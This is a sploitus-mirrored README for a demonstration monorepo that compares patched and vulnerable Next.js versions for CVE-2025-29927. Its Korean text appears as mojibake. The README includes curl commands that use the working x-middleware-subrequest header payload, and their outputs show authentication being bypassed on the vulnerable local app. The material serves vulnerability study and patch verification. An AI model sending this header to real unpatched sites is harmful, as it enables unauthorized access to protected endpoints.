Share
## https://sploitus.com/exploit?id=40EAD8B7-C70F-5CF7-BBBD-2D74930876C1
# Next.js CVE-2025-29927 ๋ฏธ๋ค์จ์ด ์ทจ์ฝ์
์ด ๋ ํฌ์งํ ๋ฆฌ๋ Next.js 15.2.3 ๋ฒ์ ๊ณผ Next.js 15.1.7 ๋ฒ์ ์ ์ฌ์ฉํ์ฌ CVE-2025-29927 ๋ฏธ๋ค์จ์ด ์ทจ์ฝ์ ์ ๋น๊ตํด๋ณผ ์ ์๋ ๋ชจ๋
ธ๋ ํฌ ํ๋ก์ ํธ์
๋๋ค.
## ์ทจ์ฝ์ ์ค๋ช
CVE-2025-29927๋ Next.js์ ๋ฏธ๋ค์จ์ด์์ ๋ฐ๊ฒฌ๋ ๋ณด์ ์ทจ์ฝ์ ์ผ๋ก, x-middleware-subrequest ํค๋๋ฅผ ์ฌ์ฉํ์ฌ ์ธ์ฆ ๋ฏธ๋ค์จ์ด๋ฅผ ์ฐํํ ์ ์๋ ๋ฌธ์ ์
๋๋ค.
์ด ์ทจ์ฝ์ ์ ๋ค์ ๋ฒ์ ์์ ์ํฅ์ ๋ฐ์ผ๋ฉฐ:
- Next.js 15.x < 15.2.3
- Next.js 14.x < 14.2.25
- Next.js 13.x < 13.5.9
์ ๋ฒ์ ๋ค์ ๊ฐ๊ฐ ํด๋น ํจ์น ๋ฒ์ ์ผ๋ก ์
๋ฐ์ดํธํ์ฌ ํด๊ฒฐ๋์์ต๋๋ค.
## ์คํ ๋ฐฉ๋ฒ
1. ์ ์ฅ์๋ฅผ ํด๋ก ํฉ๋๋ค.
2. ์์กด์ฑ์ ์ค์นํฉ๋๋ค. : `pnpm install`
3. ๊ฐ๋ฐ ์๋ฒ๋ฅผ ์คํํฉ๋๋ค. : `pnpm dev`
4. ๊ฐ ์ฑ์ ์ ์
- ํจ์น๋ ๋ฒ์ (15.2.3): http://localhost:3000
- ์ทจ์ฝํ ๋ฒ์ (15.1.7): http://localhost:3001
5. ํ ํฐ ์์ด /api/protected ์๋ํฌ์ธํธ์ ์ ๊ทผํ๋ฉด ์ ๊ทผ์ด ๊ฑฐ๋ถ๋ฉ๋๋ค.
```
$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}
$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}
```
6. ์ ํจํ ํ ํฐ์ ์ ๊ณตํ๋ฉด ๋ณดํธ๋ ์๋ํฌ์ธํธ์ ์ฑ๊ณต์ ์ผ๋ก ์ ๊ทผํ ์ ์์ต๋๋ค.
```
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}
```
7. ์ทจ์ฝ์ ์ ์ด์ฉํด ๋ฏธ๋ค์จ์ด๋ฅผ ์ฐํํฉ๋๋ค.
```
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}
```
## ํ๋ก์ ํธ ๊ตฌ์กฐ
```
nextjs-cve-2025-29927/
โโโ apps/
โ โโโ next15_1_7/ # ์ทจ์ฝํ ๋ฒ์
โ โโโ next15_2_3/ # ํจ์น๋ ๋ฒ์
โโโ packages/
โ โโโ ui/ # ๊ณต์ UI ์ปดํฌ๋ํธ
โโโ README.md
```
## ์ฐธ๊ณ ๋งํฌ
- [vercel๋ธ๋ก๊ทธ](https://vercel.com/blog/postmortem-on-next-js-middleware-bypass)
- [DevStefanCho์ ํฌ๋ธ](https://www.youtube.com/watch?v=6PswGPu642Y&t=229s&ab_channel=DevStefanCho)
- https://hackyboiz.github.io/2025/03/27/bekim/2025-03-27/
- https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
- https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
- https://github.com/lirantal/vulnerable-nextjs-14-CVE-2025-29927